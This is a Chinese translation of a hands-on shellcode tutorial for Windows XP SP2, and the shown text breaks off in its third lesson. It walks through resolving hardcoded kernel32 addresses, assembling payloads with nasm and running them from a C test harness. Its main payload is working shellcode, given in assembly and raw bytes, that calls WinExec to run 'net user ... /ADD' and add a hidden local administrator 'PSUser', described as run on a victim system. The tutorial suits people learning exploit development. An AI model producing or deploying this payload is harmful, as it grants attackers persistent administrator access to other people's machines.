在這個站點中的這套教程目的在于利用匯編代碼來生成自己的shellcode,它將有希望地被包含在"Project Shellcode Development Framework"(shellcode 開發框架項目)中Windows shellcode和linux shellcode 的不同點是什么?
這個教程的一些內容是以在http://www.vividmachines.com/shellcode/shellcode.html中被抽出的信息為基礎而講述的.
Linux,不像windows那樣,它提供了一個通過int 0x80接口來與內核直接相結合的方法.可以在http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html中找到完整的linux系統調用表。在另一方面,windows沒有一個直接的內核接口。系統必須通過加載函數地址來相結合,它需要從一個動態鏈接庫中被執行。兩種系統的關鍵不同點事實上在于windows中的函數地址在一個系統版本和另一個系統版本中的變化,因為int 0x80系統調用號是恒定的。Windows程序員這樣做以致于他們可以不會為了任何內核需要的改變而爭論。Linux相反,已經固定了所有內核級函數的計算系統,并且如果他們要改變,將會有無數憤怒的程序員(和大量的不完善的代碼)
地址:http://www.vividmachines.com/shellcode/shellcode.html
所以,windows呢?我怎樣找到我需要的dll的函數地址呢?這些地址不會隨著每個服務包的升級而變化么?
有許多方法可以找出需要使用于shellcode中的函數地址。
這里給出了兩種尋找函數地址的方法:你可以在運行時上找需要的函數或使用硬編碼的地址。這個教程將多數討論硬編碼的方法。被映射進shellcode地址空間的dll是kernel32.dll。這個dll含有LoadLibrary 和 GetProcAddress函數,這兩個函數被用于獲取任意被映射進exploits進程空間中的函數地址。這種方法伴隨著一個問題,地址偏移將會隨著每個windows的新版本而改變(服務包,補丁等等)。所以,你使用這種方法生成的shellcode將僅僅對某個windows的特定版本有效。
動態查找函數地址的方法將會出現在之后的教程中
集中于對windows匯編的討論;然而在開發shellcode方面,linux相當方便。因為這個原因,我發現用cygwin可以搭建一個不錯的開發shellcode的平臺。同時也可以訪問windows Dlls,下載地址:http://www.projectshellcode.com/downloads/cygwin_setup.exe 在Cygwin安裝期間,會讓你選擇你想要的安裝包
以下包便于生成shellcode:
已經搭建了cygwin環境,就下載下面的工具吧。一些是我自己用來使處理事情變得更容易的腳本,和另外兩個額外的資源,你將想要把他們存放到你的cygwin環境中,例如把他們復制進C:\cygwin\home\Administrator\shellcode\中。Administrator是你的用戶名,同時我已經創建了一個shellcode目錄作為我們的工作站。
通過解析xxd的輸出來提取未經修改的shellcode
?http://www.projectshellcode.com/downloads/xxd-shellcode.sh
自動化編譯匯編代碼,提取未經修改的shellcode,生成unicode編碼版的未經修改的shellcode ,把你已經編碼的shellcode注入到"Template Exploit" (ms07-004) 來測試,創建一個含有你的shellcode的c測試程序,同時編譯他們準備執行!非常方便!
下載地址:?http://www.projectshellcode.com/downloads/shellcode-compiler.sh或http://www.projectshellcode.com/downloads/shellcode-compiler.zip
http://www.projectshellcode.com/downloads/findFunctionInDLL.sh
在你的系統上找到包含一個特定windows函數的dll
Win32 dll 地址解析程序
http://www.vividmachines.com/shellcode/arwin.c
?http://www.vividmachines.com/shellcode/shellcodetest.c
從開始菜單中運行一個bash shell并cd到你的“shellcode”目錄,例如?cd /home/Administrator/shellcode/.通過使用下面的命令編譯arwin.c
gcc -o arwin arwin.c
通過輸入./arwin列出幫助.
暫時不需要編譯shellcodetest.c。把生成的shellcode放入shellcodetest.c并編譯它。同時可以通過運行shellcodetest來執行我們的shellcode.
Metasploit 框架是一個極好的生成shellcode的資源.在寫這篇文章時,Metasploit團隊即將發行Framework 3.3,它將運行在Windows上的一個cygwin環境中,開發版可以通過下面的鏈接來下載
http://www.projectshellcode.com/downloads/framework-3.3-dev.exe
這個版本的框架安裝在c:\msf3\中,并有它自己專用的cygwin環境。你可以通過shell.bat執行一個shell。
這些極好的windows程序也將使用于教程4中,需要下載如下工具:
下載地址:?http://www.projectshellcode.com/downloads/odbg110.zip
下載地址:http://www.projectshellcode.com/downloads/lccwin32.exe)
生成你第一個簡單的shellcode程序吧
這個教程教你shellcoding的基礎,包括
在windows DLLs中定位函數地址;
簡單的匯編;
編譯ASM代碼的方法;
執行你的shellcode(如果它生效了)來明白其實現原理的方法.
下面我們將會生成最簡明的shellcode代碼(只是簡單的睡眠5秒后退出).
這個教程的一些內容是基于http://www.vividmachines.com/shellcode/shellcode.html中被摘取出的信息而講述的.
在windows DLLs中找到函數地址的方法
命名為”Sleep“的函數是睡眠的windows 函數,所以需要知道利用這個函數可以做些什么?在匯編中,我們使用call” 0xXXXXXXX”指令,XXXXXXXX是在內存中的函數地址.因此需要找到這個函數被加載的地址.
這可以使用在第一個教程中已經下載并編譯好的”arwin”程序來完成.如果從創建好的shellcode目錄中運行./arwin.exe,你將看到如下使用方法的信息:
$ ./arwin.exe
arwin - win32 address resolution program - by steve hanna - v.01
./arwin
因此使用Arwin我們需要知道函數存在于哪個DLL中這通常將會是Kernel32.dll或User32.dll或ws2_32.dll;.
然而,這取決于你的shellcode試圖實現的內容.下面的腳本"findFunctionInDLL.sh"我已經寫好了,它是一個arwin的wrapper,在你的本地系統上的查找DLLs以找出我們的函數在哪個DLLs中.
#!bash
if [ $# -ne 1 ]
then
printf "\n\tUsage: $0 functionname\n\n"
exit
fi
functionname=$1
searchDir="/cygdrive/c/WINDOWS/system32"
arwin_exe="`pwd`/arwin.exe"
cd $searchDir
ls -1d *.dll | grep -v gui | while read dll
do
printf "\r ";
printf "\r$dll";
count=0
count=`$arwin_exe $dll $functionname | grep -c "is located at"`
if [ $count -ne 0 ]
then
printf "\n";
$arwin_exe $dll $functionname | grep "is located at"
printf "\n";
fi
done
printf "\r ";
把有如上代碼的findFunctionInDll.sh復制到你的系統上,運行”chmod 755 findFuntionInDll.sh”以使它可執行.
你應該確保你的Windows 系統目錄被定位在/cygdrive/c/WINDOWS/system32上(在你的Cygwin 程序的環境內)
使用這個腳本找到需要傳遞到arwin程序中的DLL.腳本在你系統上遍歷DLLs,同時它應該向你報告(輸出)任意匹配到的函數和地址:
./findFunctionInDLL.sh Sleep
kernel32.dll
Sleep is located at 0x7c802442 in kernel32.dll
你得到的地址或許和我的不同,這取決于操作系統和服務包.我正使用的是WindowsXP SP2.這意味著你的shellcode將只會在相同的操作系統和使用的服務包上正常運行因為我們已經硬編碼了函數的內存地址.更高級的是可以被用于動態定位Kernel32.dll和函數地址的技術;然而,那將會在之后的教程中細說. 這會花上一段時間,因此如果你已經知道你的函數存在于哪個DLL,那么你可以直接運行arwin:
./arwin.exe Kernel32.dll Sleep ? arwin - win32 address resolution program - by steve hanna - v.01
Sleep is located at 0x7c802442 in Kernel32.dll
匯編代碼
接下來的sleep.asm代碼是從http://www.vividmachines.com/shellcode/shellcode.html中摘取出來的(帶有少許的修改).
在你的本地系統上(在你的cygwin shellcode目錄內)使用如下代碼創建sleep.asm.因為它們解釋了執行每一行指令做了什么,同時為之后的shellcode設計給予了有用的提示.記得用如上通過arwin已經枚舉到的地址來替換”Sleep”函數的地址.
;sleep.asm
[SECTION .text]
; set the code to be 32-bit
; Tip: If you don't have this line in more complex shellcode,
;????the resulting instructions may end up being different to
;????what you were expecting.
BITS 32
global _start
_start:
; clear the eax register
; Tip: xor is great for zeroing out registers to clear previous values.
xor eax,eax
; move address of Sleep to ebx that we gained from "./arwin.exe Kernel32.dll Sleep"
mov ebx, 0x7c802442
; pause for 5000ms by putting 5000 into ax (8 bit eax register)
; Tip: ax is the lower half of eax. Using ax when possible reduces
;????the instruction size, and therefore the shellcode size.
mov ax, 5000
; push eax onto the stack as the first parameter to the Sleep function.
; Tip: When functions are called, the parameters are pulled from the stack.
push eax
; call the address of Sleep(ms) located in ebx
; Tip: Sleep has one parameter and will pull this from the stack.
call ebx
編譯匯編代碼 現在已經有了用匯編語言寫好的shellcode了,我們需要編譯它.這可以使用nasm匯編編譯器來完成,在有sleep.asm(是你的匯編源代碼文件)的目錄下使用如下命令,sleep.bin是已經被編譯好的二進制輸出文件
nasm -f bin -o sleep.bin sleep.asm
獲取shellcode
現在我們有了一個編譯好的二進制文件,可以使用xxd工具來生成shellcode文件.這可以使用以下的xxd命令來完成,同時將會生成以下輸出:
xxd -i sleep.bin
unsigned char sleep_bin[] = {
0x31, 0xc0, 0xbb, 0x42, 0x24, 0x80, 0x7c, 0x66, 0xb8, 0x88, 0x13, 0x50,
0xff, 0xd3
};
unsigned int sleep_bin_len = 14;
這產生一個可以被使用于一個c程序內的字符數組.
輸出的每個十六進制的號碼(0xXX)在shellcode內代表一個字節.
那么我們會想怎樣處理這個輸出來產生shellcode呢?我們將使用如下腳本,這個是我放在一起用來去除可以直接地放入我們的“shellcodetest.c”程序中未經修改的shellcode的腳本,復制如下代碼到你自己機器中的shellcode目錄里,然后使用”chmod 755 xxd-shellcode.sh”改變權限.
#!bash
if [ $# -ne 1 ]
then
????printf "\n\tUsage: $0 filename.bin\n\n"
????exit
fi
filename=`echo $1 | sed s/"\.bin$"http://`
rm -f $filename.shellcode
for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
????echo -n "\\$i" >> $filename.shellcode
????echo -n "\\$i"
done
echo
這個程序可以使輸入文件”sleep.bin”起作用,因此運行如下命令,它應該產生如下輸出,這個輸出將自動化地被存儲到”sleep.shellcode”中.由于在你的系統上Sleep函數的地址不同,所以如果你正使用一個不同的系統或服務包,這個輸出可能會略有改變
./xxd-shellcode.sh sleep.bin \x31\xc0\xbb\x42\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3
測試shellcode
使用”shellcodetest.c”程序來測試我們的shellcode.這個步驟是為了把我們的shellcode插入到一個c程序中,我們可以編譯并執行它.這個程序已經被設計好來執行我們的shellcode了.
這樣做之前,需要插入你的shellcode(從上個步驟生成的)到這個程序中.你把它放到”code[]”數組的引號之間.最后應該看起來像如下所示的那樣:
#!bash
/*shellcodetest.c*/
char code[] = "\x31\xc0\xbb\x42\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
我們現在需要編譯已經修改好的shellcodetest.c程序以讓它可以執行我們的shellcode.用如下命令完成:
gcc -o shellcodetest shellcodetest.c
生成可執行程序”shellcodetest.exe”.
現在應該可以執行這個程序了,然后它會執行你的shellcode.用這個程序來明白這被設計好的shellcode僅僅簡單地睡眠5秒,然后將會退出-同時可能發生core dump,但是在這個階段不關心這個問題.
./shellcodetest.exe ??(sleeps for 5 seconds) ??(then exits - and may core dump)
恭喜!你已經寫出,編譯,去除,格式化,同時已經測試了你的第一段shellcode代碼!
現在讓我們設計一些真正可以看的到的東西吧!
這個教程不過是第一個教程的擴展教程;
然而,除了設計簡單地睡眠5秒的shellcode外,在受害者系統上它調用WinExec函數來創建一個新的有管理權限的用戶.
這個教程也教你定義和定位字符串常量的方法.在這種情況下你想執行的字符串命令.也將干凈利落地退出進程而不會產生一個core dump.
這個教程的一些內容是以在http://www.vividmachines.com/shellcode/shellcode.html中被摘取出的信息為基礎而講述的.
我們的目的
我們的shellcode將定位我們的命令行字符串并通過調用WinExec函數在受害者系統上創建一個本地管理用戶.要提醒注意的是這個教程將會在你的系統上創建一個管理賬戶,所以記得刪掉它否則你可能發現你已經因為這個賬戶的創建而被他人黑了.
我們需要什么函數,它們在哪?
從編程經歷中(或至少是通過谷歌),我們知道在一個windows系統上執行一個命令我們需要調用WinExec函數,同時為了干凈利索地退出一個進程我們需要調用ExitProcess函數.這兩個函數都可以在Kernel32.dll中被找到.
為了定位函數的地址,我們將使用arwin,正如我們在上一個教程中做的那樣.如下所示:
./arwin.exe Kernel32.dll WinExec arwin - win32 address resolution program - by steve hanna - v.01 ????WinExec is located at 0x7c8615b5 in Kernel32.dll
WinExec函數位于Kernel32.dll中的0x7c8615b5地址上
./arwin.exe Kernel32.dll ExitProcess ????arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess位于Kernel32.dll中的0x7c81ca82地址上你得到的地址或許和我的不同.這取決于操作系統和服務包.我正使用WindowsXP SP2.這意味著你的shellcode將只會在相同的操作系統和你使用的服務包上正常工作因為我們已經硬編碼了函數的內存地址.這甚至可能是因你已經安裝了補丁文件而略有不同的.這是更高級的可以被用來動態定位Kernel32.dll和函數地址的技術;然而,那將會在之后的教程中細說.
定義并定位字符串常量
下面即是我們想在我們的shellcode中定義的字符串常量,我們將執行的命令來創建一個用戶名是”PSUser”密碼是”PSPasswd”的賬戶
?'cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser'
下面小段代碼示范了在我們的代碼末尾定義一個字符串常量,同時在棧頂上定位字符串的方法;
+--------------- [snip] ---------------+
??jmp short GetCommand;Jump to where our string is located ("GetCommand" label below)
??CommandReturn:;Create a label we can call to return here.
??pop ebx;the "call" operation below has pushed its return address onto the stack, which we have designed to point to our string - so pop the address of the string off the stack and into ebx.
;At this point, ebx points to our string.
+--------------- [snip] ---------------+
GetCommand:?;Create the "GetCommand" label where our string is located
call CommandReturn?;"call" is like jump, but also pushes the return address (next instruction after call) onto the stack. Since our string is defined immediately after this instruction, the return address points to the address of our string.”call”
db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser";Write the raw bytes into the shellcode that represent our string.????????
db 0x00?;Terminate our string with a null character.
+--------------- [snip] ---------------+
匯編代碼
下面的adduser.asm代碼是從http://www.vividmachines.com/shellcode/shellcode.html中摘取出來的,帶有略微的修改和注釋
在你的本地系統上Cygwin的shellcode目錄中使用如下代碼創建adduser.asm
在shellcode開發之后,記得用你已經使用上面的arwin枚舉出來的地址替換掉”WinExec”和”ExitProcess”的函數地址
+----------------- Start adduser.asm -----------------+
;adduser.asm
[Section .text]
BITS 32
global _start
_start:
jmp short GetCommand?;jump to the location of the command string
CommandReturn:?;Define a label to call so that string address is pushed onto stack
pop ebx?;ebx now points to the string ebx
????xor eax,eax?;empties out eax
????push eax?;push null onto stack as empty parameter value
????push ebx?;push the command string onto the stack
????mov ebx,0x7c8615b5?;place address of WinExec into ebx
????call ebx?;call WinExec(path,showcode)
xor eax,eax?;zero the register again to clear WinExec return value (return values are often returned into eax)
????push eax?;push null onto stack as empty parameter value
????mov ebx, 0x7c81ca82?;place address of ExitProcess into ebx
????call ebx?;call ExitProcess(0);
GetCommand:?;Define label for location of command string
????call CommandReturn?;call the return label so the return address (location of string) is pushed onto stack
????db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser";Write the raw bytes into the shellcode that represent our string.
????db 0x00?;Terminate our string with a null character.
+----------------- End adduser.asm -----------------+
編譯匯編代碼
因此我們現在已經有我們用匯編寫好的shellcode了,我們需要編譯它.這可以使用nasm匯編編譯器來完成,在有adduser.asm(是你的匯編源代碼文件)的目錄下使用如下命令,adduser.bin是已經編譯好的二進制輸出文件
nasm -f bin -o adduser.bin adduser.asm
獲取shellcode
現在我們有了一個編譯好的二進制文件,可以使用xxd工具來為我們生成shellcode文件.這可以使用以下的xxd命令來完成,同時將會生成以下輸出:
xxd -i adduser.bin ????unsigned char adduser_bin[] = { ???? 0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x50, 0x53, 0xbb, 0xb5, 0x15, 0x86, 0x7c, ???? 0xff, 0xd3, 0x31, 0xc0, 0x50, 0xbb, 0x82, 0xca, 0x81, 0x7c, 0xff, 0xd3, ???? 0xe8, 0xe5, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, ???? 0x20, 0x2f, 0x63, 0x20, 0x6e, 0x65, 0x74, 0x20, 0x75, 0x73, 0x65, 0x72, ???? 0x20, 0x50, 0x53, 0x55, 0x73, 0x65, 0x72, 0x20, 0x50, 0x53, 0x50, 0x61, ???? 0x73, 0x73, 0x77, 0x64, 0x20, 0x2f, 0x41, 0x44, 0x44, 0x20, 0x26, 0x26, ???? 0x20, 0x6e, 0x65, 0x74, 0x20, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x67, 0x72, ???? 0x6f, 0x75, 0x70, 0x20, 0x41, 0x64, 0x6d, 0x69, 0x6e, 0x69, 0x73, 0x74, ???? 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x20, 0x2f, 0x41, 0x44, 0x44, 0x20, ???? 0x50, 0x53, 0x55, 0x73, 0x65, 0x72, 0x00 ????}; ????unsigned int adduser_bin_len = 115;
這產生一個可以被使用于一個c程序內的字符數組.
輸出的每個十六進制的號碼(0xXX)在shellcode內代表一個字節.
我們將使用”xxd-shellcode.sh”腳本來去除可以直接地放入我們的“shellcodetest.c”程序中的半成品shellcode,正如我們在上一個教程中做的那樣,在下面將會展示:
./xxd-shellcode.sh adduser.bin \xeb\x16\x5b\x31\xc0\x50\x53\xbb\xb5\x15\x86\x7c\xff\xd3\x31\xc0\x50\xbb\x82\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72\x00 Testing the shellcode
測試shellcode
使用”shellcodetest.c”程序來測試我們的shellcode.這個步驟的目的是為了把我們的shellcode插入到一個c程序中,然后可以編譯并執行這個c程序.為了執行我們的shellcode,這個程序已經設計好了.
這樣做之前,需要把你的shellcode插入(從上個步驟生成的)到這個程序中.你把它放到”code[]”數組的引號之間.最后應該看起來像如下代碼中所示的那樣:
+----------------- Start updated shellcodetest.c -----------------+
/*shellcodetest.c*/
char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xb5\x15\x86\x7c\xff\xd3\x31\xc0\x50\xbb\x82\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72\x00";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
+----------------- End updated shellcodetest.c -----------------+
我們現在需要編譯已經修改好的shellcodetest.c程序以使它可以執行我們的shellcode.可以用如下命令完成:
gcc -o shellcodetest shellcodetest.c
創建可執行程序”shellcodetest.exe”.
在運行這個程序之前,會想在你的本地系統上通過運行以下命令來列出用戶的賬戶
net user ????(列出在你系統上的本地賬戶)
你現在應該可以通過這個測試程序來執行你的shellcode了.這個shellcode被設計來在你的系統上添加一個具有管理員權限的用戶(稱作”PSUser”),然后它會干凈利索地退出
./shellcodetest.exe ? The command completed successfully. 命令成功完成 ? (添加用戶賬戶) 命令成功完成 ? (添加用戶賬戶到管理組) ? (干凈利索地退出)
現在可以通過再次運行”net user”命令確認是否已經創建了賬戶,正如如下所示:
net user ????(列出本地系統的賬戶現在包含PSUser這個賬戶了)
整理
你應該查明你是否已經從你的系統中刪除了這個賬戶,以確保該賬戶不會被人用來黑進你的系統.可以使用以下命令完成:
net user PSUser /delete 命令成功完成 ?(deletes the "PSUser" account)
恭喜!
你已經設計出了你的第一段shellcode,它定義并找到了一個不變的字符串,且在一個Windows系統上執行一個命令來創建一個具有管理員權限的賬戶. 現在,讓我們開始做個略略狡猾的人吧.
這篇教程教你設計shellcode時的一些有用的技巧,例如教你加載庫,動態定位windows函數,定義并找到字符串常量的地址,以及調用Windows函數的方法,這可以讓你開始著手設計你自己的shellcode
這個教程的一些內容是基于http://www.vividmachines.com/shellcode/shellcode.html中被摘取出的信息而講述的.
我們的目標
我們的shellcode目標是顯示出一個包含自定義消息的對話框
我們需要調用什么函數?
從編程經驗中(或至少是通過谷歌),我們知道在Windows上生成一個消息框需要調用MessageBoxA函數,通過谷歌也可以判斷是否能在user32.dll中找到MessageBoxA函數.
如果使用前面教程提到的用”findFunctionInDLL.sh”來判斷這個函數是否存在于user32.dll中,并且也將輸出這個函數地址.那么用如下的方式來完成.
./findFunctionInDLL.sh MessageBoxA user32.dll MessageBoxA is located at 0x7e45058a in user32.dll
因此我們將知道MessageBoxA 函數的地址并知道它位于user32.dll中,不幸的是,如果我們把這個地址的硬編碼傳入shellcode中,它將只會在你當前的操作系統中生效.即是只能在我的windows xp sp2中正常工作除此之外將使用允許我們動態地找到MessageBoxA函數地址的技術,它沒有把內存地址硬編碼. User32.dll已經被加載了?
在Windows中我們只知道Kernel32.dll 已經被加載了,但是我們沒有必要知道user32.dll是否已經被加載.通常我們不得不認為那是沒用的,除非你正在為一個特定的exploit設計shellcode.
為了在windows上加載一個庫,我們可以調用”LoadLibraryA”函數,它位于Kernel32.dll中.所以我們需要找到LoadLibraryA函數的地址.如上所示,這可以通過使用findFunctionInDLL.sh來完成,?然而,一個更快的方法是直接使用arwin,因為已經知道函數和庫了
./arwin Kernel32.dll LoadLibraryA7 ?arwin - win32 address resolution program - by steve hanna - v.01 ?LoadLibraryA is located at 0x7c801d77 in Kernel32.dll
需要記得我們僅僅試圖動態找到MessageBoxA函數的地址.但是將不會試圖完全地去掉所有硬編碼的內存地址.這在之后的教程中將會有所涉及,它將允許你設計運行在windows平臺上的shellcode
怎樣找到MessageBoxA函數的地址呢?
所以在這個階段,我們知道加載user32.dll庫的方法,知道想調用的MessageBoxA函數包含在其中.但是仍然不知道怎么找到MessageBoxA函數的地址 我們可以使用 "GetProcAddress"函數,它位于Kernel32.dll中.可以傳遞函數名到GetProcAddress,同時它將返回函數的地址.所以首先,我們需要使用arwin定位GetProcAddress函數的地址
./arwin Kernel32.dll GetProcAddress
?arwin - win32 address resolution program - by steve hanna - v.01
?GetProcAddress is located at 0x7c80adc0 in Kernel32.dll
如何防止主進程崩潰?
在上一個教程中,進程崩潰造成了一次core dump.為了干凈利索地退出,我們需要調用ExitProcess函數.為簡單起見,我們將僅僅在Kernel32.dll內使用arwin來枚舉這個函數的內存地址,這可以通過如下所示的那樣完成:
./arwin Kernel32.dll ExitProcess ?arwin - win32 address resolution program - by steve hanna - v.01 ?ExitProcess is located at 0x7c81ca82 in Kernel32.dll
這樣我們現在已經擁有所有設計shellcode的信息了.因此你可以簡單地理解下面的匯編代碼,我僅僅想指出多一個被使用過的技術.
Defining and locating string constants
定義并定位字符串常量
From the above information, there are three strings that we want to define in our?shellcode. These are:
從如上的信息可知,有三個字符串是我們想要定義在shellcode里面的.這些是:
????'user32.dll' ????'MessageBoxA' ????'Hey'
這里將使用”user32.dll”字符串作為參數傳遞到LoadLibraryA函數中.使用”MessageBoxA”字符串作為參數傳遞到GetProcAddress中.使用”Hey”作為參數傳遞到MessageBoxA函數中.
The following snippet of code demonstrates how we define a string at the end of our code, and locate the string at the top;
下面的小段代碼示范展示了我們在代碼的末尾定義字符串的方法,并在頂部定位字符串
+--------------- [snip] ---------------+
;Retrieve the address of the library name string set below.
?jmp short GetLibrary?;Jump to where our library string is located ("GetLibrary" label below)
GetLibraryReturn:;Create a label we can call to return here.
pop ecx ;the "call" operation has pushed the return address onto the stack, which we have designed to point to our string - so pop the address of the library name string off the stack and into ecx.
;At this point, ecx points to our string.
+--------------- [snip] ---------------+
GetLibrary:?;Create the "GetLibrary" label where our library name string is located
????call GetLibraryReturn?;"call" is like jump, but also pushes the next instruction address onto the stack. Since our string is defined immediately after this instruction, this is the address of our string.
????db 'user32.dll'?;Write the raw bytes into the shellcode that represent our string.
????db 0x00?;Terminate our string with a null character.
+--------------- [snip] ---------------+
The Shellcode
接下來的msgbox.asm代碼是從http://www.vividmachines.com/shellcode/shellcode.html中摘取出來的,帶有略微的修改和注釋
在你的本地系統上Cygwin的shellcode目錄中使用如下代碼創建msgbox.asm.確保你已經從頭到尾地閱讀了代碼的注釋因為它們解釋了每一行代碼執行的內容,同時為之后shellcode開發給予了有用的提示.
記得用你已經使用arwin程序枚舉出來的地址替換掉每個函數的地址
+--------------- Start msgbox.asm --------------+
;msgbox.asm
[SECTION .text]
BITS 32
global _start
_start:
;zero out the registers
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
;Retrieve the address of the library name string set below.
????jmp short GetLibrary
GetLibraryReturn:
????pop ecx ;pop address of the Library string
;Pass library string as parameter to LoadLibraryA, and call LoadLibraryA
????mov ebx, 0x7c801d77 ;LoadLibraryA(libraryname)
????push ecx ;push parameter to LoadLibraryA
????call ebx ;call LoadLibraryA - eax holds return value
;Retrieve the address of the function name string set below.
????jmp short FunctionName
FunctionReturn:
????pop ecx ;pop address of the function string
;Pass function string as parameter to LoadLibraryA, and call LoadLibraryA
????push ecx ;push string as the second parameter
????push eax ;pass first parameter
????mov ebx, 0x7c80adc0 ;GetProcAddress(hmodule,functionname)
????call ebx ;eax now holds address of MessageBoxA
????jmp short Message
MessageReturn:
????pop ecx ;get the message string
????xor edx,edx ;clear edx value
;Push the parameters onto the stack:
????push edx ;MB_OK
????push ecx ;title
????push ecx ;message
????push edx ;NULL window handle
????call eax ;MessageBoxA(windowhandle,msg,title,type)
ender:
????xor edx,edx ;empty edx out
????push eax ;move address of MessageBoxA onto stack
????mov eax, 0x7c81ca82?;ExitProcess(exitcode);
????call eax ;exit cleanly so we don't crash parent
GetLibrary:?;Define location and string constant "user32.dll"
????call GetLibraryReturn?;push address of next byte onto stack, and return to GetLibraryReturn
????db 'user32.dll';string constant
????db 0x00;terminate string with null
FunctionName:;Define location and string constant "MessageBoxA"
????call FunctionReturn;push address of next byte onto stack, and return to FunctionReturn
????db 'MessageBoxA';string constant
????db 0x00;terminate string with null
Message:;Define location and string constant "Hey"
????call MessageReturn;push address of next byte onto stack, and return to MessageReturn
????db 'Hey';string constant
????db 0x00;terminate string with null
+--------------- End msgbox.asm --------------+
編譯匯編代碼
因此現在已經有我們用匯編語言寫好的shellcode了,我們需要編譯它.這可以使用nasm匯編編譯器來完成,在有msgbox.asm(是你的匯編源代碼文件)的目錄下使用如下命令,msgbox.bin是已經編譯好的二進制輸出文件
nasm -f bin -o msgbox.bin msgbox.asm
獲取shellcode
現在我們有了一個編譯好的二進制文件,可以使用xxd工具來為我們生成shellcode文件.這可以使用以下的xxd命令來完成,同時將會生成以下輸出:
???xxd -i msgbox.bin ???unsigned char msgbox_bin[] = { ???? 0x31, 0xc0, 0x31, 0xdb, 0x31, 0xc9, 0x31, 0xd2, 0xeb, 0x2a, 0x59, 0xbb, ???? 0x77, 0x1d, 0x80, 0x7c, 0x51, 0xff, 0xd3, 0xeb, 0x2f, 0x59, 0x51, 0x50, ???? 0xbb, 0xc0, 0xad, 0x80, 0x7c, 0xff, 0xd3, 0xeb, 0x34, 0x59, 0x31, 0xd2, ???? 0x52, 0x51, 0x51, 0x52, 0xff, 0xd0, 0x31, 0xd2, 0x50, 0xb8, 0x82, 0xca, ???? 0x81, 0x7c, 0xff, 0xd0, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x75, 0x73, 0x65, ???? 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0xe8, 0xcc, 0xff, 0xff, ???? 0xff, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, ???? 0x00, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x48, 0x65, 0x79, 0x00 ???}; ???unsigned int msgbox_bin_len = 94;
這產生一個可以被使用于一個c程序內的字符數組.
輸出的每個十六進制的號碼(0xXX)在shellcode內代表一個字節.
那么我們會想怎樣處理這個輸出來產生shellcode呢?我們將使用如下腳本,這個是我放在一起用來去除可以直接地放入我們的“shellcodetest.c”程序中未經修改的shellcode的腳本,復制如下代碼到你自己機器中的shellcode目錄里,然后使用”chmod 755 xxd-shellcode.sh”改變權限.
我們將使用”xxd-shellcode.sh”腳本來去除可以直接地放入我們的“shellcodetest.c”程序中的未經修改的shellcode,正如我們在上一個教程中做的那樣,在下面將會展示:
./xxd-shellcode.sh msgbox.bin
???\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x2a\x59\xbb\x77\x1d\x80\x7c\x51\xff\xd3\xeb\x2f\x59\x51\x50\xbb\xc0\xad\x80\x7c\xff\xd3\xeb\x34\x59\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\x82\xca\x81\x7c\xff\xd0\xe8\xd1\xff\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\xe8\xcc\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x00\xe8\xc7\xff\xff\xff\x48\x65\x79\x00
測試shellcode
使用”shellcodetest.c”程序來測試我們的shellcode.這個步驟的目的是為了把我們的shellcode插入到一個c程序中,然后可以編譯并執行這個c程序.這個程序已經被設計好來執行我們的shellcode.
這樣做之前,需要把你的shellcode(從上個步驟生成的)插入到這個程序中.并把它放到”code[]”數組的引號之間.最后看起來應該像如下代碼中所示的那樣:
+----------------- Start updated shellcodetest.c -----------------+
/*shellcodetest.c*/
